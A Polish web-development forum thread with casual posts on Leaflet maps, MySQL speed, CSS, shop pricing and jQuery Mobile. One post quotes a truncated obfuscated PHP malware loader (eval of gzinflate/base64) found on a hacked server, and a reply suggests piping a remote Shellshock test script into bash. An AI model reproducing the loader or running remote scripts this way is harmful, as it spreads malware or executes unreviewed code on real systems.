szarak
g/webdev

Czym wygodnie (łatwo - najlepiej klikalne, albo jakiś prosty kod html5/js) zrobić interaktywną mapę z listą miejsc? Najchętniej by można było ją przeglądać na mapie i jednocześnie mieć obok zwykłą tekstową listę w którą można klikać?

W oparciu o gmaps, OSM, whatever, oby proste było.

#
duxet

@szarak: jeśli chce Ci się klepać to ręcznie, to możesz użyć Leafleta: http://leafletjs.com

#
szarak

@duxet: no właśnie głównie on mi się rzucił w oczy. A z megaprostych:
https://leaflet-map-generator.com/app/index.php#

generator oparty na nim. Poziom skomplikowania idealnie niski :)

#
Kuraito
g/webdev

Bawię się w domu różne phpy i mysqle... No i wychodzi jaki ze mnie jest niedouczony tłuk. xD
Mam sobie taką bazkę, w niej ponad 100k rekordów. No i przy pokazywaniu części tabeli o wysokich idach to całe gówno muli niemiłosiernie... :v To pole tresc to się zdarza, że ma ponad 60k znaków, więc danie CHAR odpada... :v BLOB dać czy co? Czy wyrzucić do do innej tabeli, żeby serwer musiał się przez to przebijać tylko przy wyświetlaniu treści?
Czy po prostu i5 3.10 GHz to za mało i muszę kupić sobie parę maszyn z i7 żeby móc to jakoś działało?

Pokaż ukrytą treśćinb4 HÓRR DÓRR GÓWNOBAZA Z POLSKIMI NAZWAMI - WOLNOĆ TOMKU W SWOIM DOMKU :D i tak tego nikt poza mną nie ruszy i chyba poza localhost to to nie wyjdzie
#
Show remaining entries (6 replies)
Wojnar

@Kuraito: http://explainextended.com/2009/10/23/mysql-order-by-limit-performance-late-row-lookups/

Ewentualnie pobieranie sekwencyjne (w ActiveRecord w Rails masz to wbudowane i jedna linijka mozna rozbic zapytanie na kilka czyli od klucza y do x, od x do z itp.).

Silnik inno czy myisam?

#
Kuraito

@Wojnar: inno, bo taki był domyślny przy tworzeniu tabeli w phpmyadmin ;d
Nic z tego linka nie rozumiem, Chyba naprawdę będę musiał przeczytać jakąś książkę o tym MySQL-u. Bo się nauczyłem SELECT, INSERT i UPDATE i myślałem, że starczy.

#
borysses
g/webdev

No i po smaszingowej konferencji. Nie udało się z live streamem bo kurwa po pierwszych kilku próbach dodania treści zakończonych "Oops, something went wrong" odechciało mi się pałować. Dodam zaraz szybki recap i trochę linków do ciekawych resourców.

#
Show remaining entries (2 replies)
_lechu_

@borysses: no to dajesz pan kiedy gotów.

#
borysses

@_lechu_: dzisiaj/jutro ;)

#
borysses
g/webdev

To uczucie kiedy robisz klientowi stronę, dajesz mu dane do CMS a po kilku dniach dostajesz maila, żeby zrobić minimalną poprawkę (wycentrować i powiększyć logo) a tymczasem strona wygląda jak dymiąca kupa hipopotamiego łajna.

Rozpierdolił wszystko co się dało (bo żona wołała inny kolor tła a siostrze nie podobał się font użyty do tekstu a śfagier zrobił nowe logo bo 15 lat temu użył parę razy Corela) ale jego zdaniem jest idealnie tylko to logo za małe i niewycentrowane...

Odpisałem co o tym myślę (fragmenty):

(...) co pomyśli osoba wchodzącą na tą szkaradną abominację (...)

(...) jest to strona wyrzeźbiona w Wordzie przez upośledzonego lemura‏ (...)

(...) nikt kto ma do wydania pieniądze nawet nie zostanie na niej wystarczająco długo by coś kliknąć tylko zamknie z obrzydzeniem okno przeglądarki.

.PS. W sumie to mam wyjebane, rachunek uregulowany a klient skłonny dopłacić za zabawę z logiem...

#
Show remaining entries (6 replies)
borysses

@_lechu_: Uhmmm, ma to gdzieś bo zapłacił Panoramie Firm za pozycjonowanie :]

#
_lechu_

@borysses: ;D

#
borysses
g/webdev

@mixin transparent($color, $alpha) {
$rgba: rgba($color, $alpha);
$ie-hex-str: ie-hex-str($rgba);
background-color: transparent;
background-color: $rgba;
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#{$ie-hex-str},endColorstr=#{$ie-hex-str});
zoom: 1;
}

#
Zian
g/webdev

Jest taka stronka, a na niej element w prawym, górnym rogu górnej belki, który przy scrollowaniu zostaje w miejscu bez problemu, o ile zostawi się <div class="community"></div> zaraz pod <body>. Po przeniesieniu na sam dół kodu, zaraz przed </body>, element znika. Da się go jakoś utrzymać na wierzchu po przeniesieniu na dół kodu?

CSS:

div.community {
position:fixed;
background-image:url(gfx/comm.png);
width:150px;
height:50px;
margin:0;
padding:0;
right:50%;
margin-right:-495px;
z-index:9999
}

#
_lechu_

@Zian: daj dodatkowo w CSS div.community { top:0; }

#
Zian

@_lechu_: Dziękować. :D

#
GeraltRedhammer
g/webdev

Na ile wycenicie wykonanie profesjonalnego sklepu internetowego całkowicie całkowicie edytowalnego, z wszystkimi najnowszymi funkcjami i CMSem tak prostym, że obsłuży go troglodyta. Ta ostatnia rzecz jest najważniejsza. Chodzi o rzetelną wycenę, żona musi przygotować specyfikację dla takiego sklepu i oszacować koszty, a ponieważ w tym niektórzy z was siedzą to warto poznać wasze spojrzenie na te sprawy.

#
Show remaining entries (4 replies)
borysses

@GeraltRedhammer:

CMS – 2k – 20k (zalezy od opcji) + 20% za SEO friendly
E-commerce – 2k – 10k (zalezy od opcji)
Design – 2k – 5k (zalezy od stopnia zajebistosci) + 30% za RWD na tablety + 30% za RWD na telefony + 30% za kompatybilnosc ze wszystkimi glownymi przegladarkami i kod zgodny z W3C I WCAG

Ewentualnie licz jakies 130 - 150 za godzine (+ VAT) x estymowana liczba godzin i to samo za support, chyba ze umiescisz w umowie liczbe miesieczna godzin supportu w pakiecie.

Dobrze, zebys tak go sprzedal, zebys mogl go tez sprzedawac innym :)

#
GeraltRedhammer

@borysses: Dzięki za odpowiedzi :-) Trochę rozjaśniłeś sprawę.

#
Wojnar
g/webdev

Czeski film. Projekt od początku był prototypowany wizualnie na ZURBowskim Foundation. Czesi mieli za zadanie się go pozbyć (albo tak myśleliśmy przynajmniej). A zamiast tego co? Ano, zostawili i dowalili jeszcze bootstrapa, także sam css ma 1.2mb xD Do tego jakby było mało, do prostych czynności dowalili konockout, sammyego i cholera wie co jeszcze, także strona z samą listą rzeczy, która się ładuje po zalogowaniu (a tych rzeczy jest pięć) ma ponad 3mb. Zabijcie mnie xD

#
akerro

@Wojnar: strona ma ponad 3MB? coś mi to przypomina... ctrl+shit+q a potem ctrl+r
https://i.imgur.com/efG4QgN.png

Pokaż ukrytą treśćwc.strimsoid.pl ma prawie 4mb, w tym kilkanaście requestów 404
#
Wojnar

@akerro: 15-31s laduje sie na localhoscie, zapomnialem dodac, railsy 4.1.9 xD

#
borysses
g/webdev

WTF is this bullshit...

<?php eval(gzinflate(base64_decode('lVltc9pIEv7MVd1/UCjFSDEGSYBtYstONnF2t+qyyRFyVVdxlhrECLQWklYSBGLlv9/TPRLIb3d7qQSGme6efu+eTuBrxrOZ9INIzoyWny7fZi3TvP373xpqs9rT2rZ5hl2ZpnE6SWUSp3kQzQ2Ld3HgryIvD+JIA43JLNQMfZWGpkaUGgEuqc4nchNkeWa0PJxPgijIcZ8Ca+jeQnO13YEiQbc2GryZyTxOcgNgbe3N59E/PnwcT0ZX48+j38aj1799enc1amuKzUZDj1d5RUxupAeGvAUzq/hhgpAmivlAe+a6mmVqJZovwkzWbvbCOJM1Ej80CQDttgR/5QehnMxlPvHiKJcR5GPxz34Q86nMV2mk5WmwNAiBuaAT/K3UwmrzUpIuiFj/DT0I3SxPQxnx3pkeu60W8+THKXgJIJ51puH7HB8hrQ4PSYKOCxpf9OCr9rvWeqFQSh70mAg8djeY94S3kIaeL5NZkLb1MIhu2rq3zIOlbOt5LF3WSsmcj9tL0E6rm8ksm7Q6y9nASFI5JwcJhSeNVvf3RZ4nL6+7190vv193vx52W22thX9M3lQG0X0JaqzD0jt0X50EvvGMTotCIzYMUztiOGbKAJR2oR1b2gut5NMkf...

Tzn. wiem, pierdolony pharma attack ;__;

2014 i dalej infekuje...

#
Show remaining entries (9 replies)
zskk

@borysses:

curl https://shellshocker.net/shellshock_test.sh | bash

#
borysses

@zskk: Sprawdzałem i nic nie wypisuje, wiec to nie to. Co ciekawe na koncu stringu z base_64 był znaczek ctrl+v i nowej lini w dosie/windzie co w kodzie targetującym systemy unixowe raczej sensu nie ma. Jednak mielismy problem z malware w korp_lanie i sie zastanawiam, czy ktos kto edytuje kontent, zrobil kopiuj wklej a to gowno sie doczepilo... a jak juz znalazlo sie na serwerze to zaczelo broic.

#
akerro
g/webdev

koleś z wykopu pisze anno 1604 w przeglądarce:
http://128.199.55.52/coloniae/

#
borysses
g/webdev

Wybiera sie ktos na SmashingConf do Oxfordu? http://www.smashingmagazine.com/2014/10/28/smashingconf-oxford-2015/

#
Show remaining entries (1 reply)
borysses

@shzgfx: Heh, za mnie kolchoz placi :3

#
shzgfx

@borysses: zazdroszczę, tym bardziej, że często przeglądam stronę smashingmagazine ;__;

#
borysses
g/webdev

if (delete == true) { drop database } else { "Your database is fine!" } - takie cos w EE nie jest dobre bo ta zjebana kurwa wykonuje wszystko co w kondycyjce a potem zwraca wynik w zaleznosci od potrzeby. Czyli wywali baze i tak, ale jako, ze nie bylo zaznaczone zeby wywalic to poinformuje ze database is fine...

#
borysses
g/webdev

Lenny, a co ty tutaj robisz? Że też cie nikt jeszcze nie "squeeznął"...

Pokaż ukrytą treść Moje serwery takie piekne ;__;
#
only_spam
g/webdev

Django/python > php

#
akerro

^ this.

#
sens

@only_spam: woda jest mokra.

#
only_spam
g/webdev

Im bardziej skalowalną chciałbym apke w pehapie, tym bardziej wychodzą pehapowe gówniane właściwości braku skalowalności...
Jakaś sensowna alternatywa do webdevu z porządnym i normalnym dziedziczeniem (i konkretnym frameworkiem? Przychodzi mi tylko django i RoR, ale nie wiem czy jest sens się w to zagrzebywać.

#
Show remaining entries (3 replies)
nrm

@only_spam: ulepszyli coś co najlepiej rokowało na ulepszanie. polecanie w tym kontekście Ruby to nieporozumienie ;)

#
only_spam

@akerro: Nie chodzi mi o prostotę, chodzi mi o coś, w czym sensownie napiszę apkę którą będę mógł spokojnie rozszerzać o kolejne elementy.

#
Kuraito
g/webdev

Ostatnio pytałem się o jakieś kursy, które ogarną mnie z HTML4 i CSS2 do współczesności.
Napisano mi, żebym sobie zrobił stronę startową. Na razie namalowałem.
Co o tym sądzicie? (Fonty się trochę obgyzły, bo GIMP.)

Pokaż ukrytą treśćPrzenoszę wpis, bo @akerro chciał.
#
Show remaining entries (9 replies)
baseband5

@Kuraito: To chyba ja wysnułem taką ideę. Zgrabnie to wyszło. Samego htmla nie za dużo wyjdzie ale w CSS przypomnisz sobie pozycjonowanie, rgba, zewnętrzne fonty i to chyba tyle. Może policz sobie coś w CSS na calc(). Nie wiem czy znałeś a tak będziesz miał trochę zabawy. Albo dajmy na to rozwiąż problem wypozycjonowania tego przy założeniu że każdy div będzie miał float: left;.

#
baseband5

@Kuraito: Następnie można dodać proste elementy JS i na przykład listę zadań w oparciu o localStorage.

#
pierozen
g/webdev

przez ostatnie dwa dni piszę mojego cebuloida <3 a wy co? Dalej przegrywacie życie?

#
Show remaining entries (5 replies)
Jezor

@wysuszony: ja będę

#
wysuszony

@Jezor: Mówisz tak tylko dlatego żeby nie było mu przykro :<

#
szarak
g/webdev

Z czego korzystają przeglądarki przy określaniu lokalizacji? Pytam, bo między różnymi przeglądarkami potrafię mieć różnice od [dokładność 5 metrów] przez [złe województwo] po [zły kraj].

#
Show remaining entries (2 replies)
Kuraito

@szarak: Pewnie od [koordynatów GPS/analizę dostępnych sieci Wi-Fi] przez [geolokalizację IP] po [losowanie i udawanie, że to geolokalizacja].

#
szarak

@Kuraito: i to wszystko brzmi sensownie, ale łącząc się przez to samo wifi z tym samym ip z tego samego kompa jedna przeglądarka myśli, że jestem w W-wie, druga, że w Piasecznie (obie mają zalogowane moje konto google! :P).

Z kolei w pracy używam łącz z adresami z UK. Jedna przeglądarka pokazuje moją pozycję co do metra (wyłączone wifi, brak gps w kompie, brak 3g w kompie), druga myśli, że jestem w uk. (w tym przypadku na żadnej z nich nie loguję się do niczego poza intranetem).

#
baseband5
g/webdev

Hej mam taki problem. Jest sobie pewien skrypt php wywalający wyniki w json. Bez żadnych obostrzeń wywala ładnie wyniki z posta. Tyle że wywala mi tylko max 15 wyników. Macie pomysł jak zmusić gada do wyplucia czegoś więcej. Nie ukrywam zależy mi na tej bazie ;) Oczywiście w celach szkoleniowych.
Dane wysyłane to długość;szerokość;odległość od punktu;typ szukanej usługi

#
Show remaining entries (1 reply)
zskk

@baseband5: z przykladami byloby latwiej

#
dotevo

@baseband5: może by tak for()? Następnie wyniki wrzucać do bazy, a na koniec wyciągnąć tylko UNIQUE

#
dotevo
g/webdev

Na razie menu będzie zawsze na dole, ponieważ nie znalazłem takiej możliwości w jquery mobile aby było z boku. Jeszcze trochę muszę dopracować kilka rzeczy i zabiorę się za logikę http://gisgangster.osm24.eu/

#
Show remaining entries (8 replies)
zskk

@dotevo: gang to od bang? :D

#
dotevo

@shzgfx: W sumie bez problemu. Tam jest tylko html+klika plików js i css. Spróbuj ściągnąć w FF wraz z powiązanymi plikami.
@szarak: to akurat mapbox, użyłem z przykładu LL akurat, ale mają dość sporo różnych i można samemu projektować tyle, że z podobnym ograniczeniem jak google. https://www.mapbox.com/plans/
@zskk: raczej od gamepleju

#
dotevo
g/webdev

Czy jest tu ktoś bawiący się jquery mobile? Potrzebuje zrobić navbar tego typu http://demos.jquerymobile.com/1.4.3/navbar/ ale nie mogę znaleźć jak zrobić aby nie był na górze, a po lewej stronie.
Ogólnie chce zrobić tak, że jeśli ekran jest wyższy niż szerszy to navbar jest na górze, a w przeciwnym przypadku po lewej.

#
Show remaining entries (1 reply)
Jezor

@dotevo: ale moment, jak sobie wyobrażasz tekst na przyciskach gdy te by były pionowe? Obrócony?

#
dotevo

@shzgfx: Dało by radę zrobić gdybym wiedział jak stworzyć navbar od góry do dołu :-/ wszędzie są przykłady na ten u górze
@Jezor: Będą ikonki+ krótki tekst. Coś jak tutaj:
http://delivery.scratchinginfo.netdna-cdn.com/wp-content/uploads/2013/11/CSS3-Vertical-Menu.jpg

Jeśli jakiś magik wie jak to zrobić w jquery mobile to chętnie skorzystam.

#
akerro
g/webdev

0.03s average generation time

Będzie skok w SEO : )

#
nrm
g/webdev

Wdrażam się. Lektura do poduszki. Nowy serwis sam się nie zrobi ;) "Jeszcze się we frontendzie zatrudnię" :D

http://photos-b.ak.instagram.com/hphotos-ak-xfa1/10584770_673766149377817_1517880402_n.jpg

#
duxet
g/webdev

Co lepsze: react, polymer czy x-tag? A może jeszcze inne rozwiązanie?

#
Show remaining entries (3 replies)
borysses

@duxet: Polecam ścieżkę koksu i blanta. Problem rozwiązany może nie zostanie, ale i tak będzie zajebiście.

#
shzgfx

@borysses: JA TAM BYM WOLAŁ PO BIEDACKU 8 TATR MOCNYCH :)

#
szarak
g/webdev

Wkurza mnie to: dlaczego mobilne, mocno okrojone wersje współczesnych stron blokują zoom?! Skąd się wziął w ogóle ten pomysł?

Dostaję stronę uproszczoną, ładnie wyglądającą na telefonie, ale ... nie mogę zoomować. Więc jestem skazany na gówniane małe literki i małe linki niemożliwe do trafienia... dlaczego?

#
Show remaining entries (12 replies)
jkl

@szarak: Hehehe. Dobre. :)

#
borysses

@szarak: THERE IS NO BUG...

#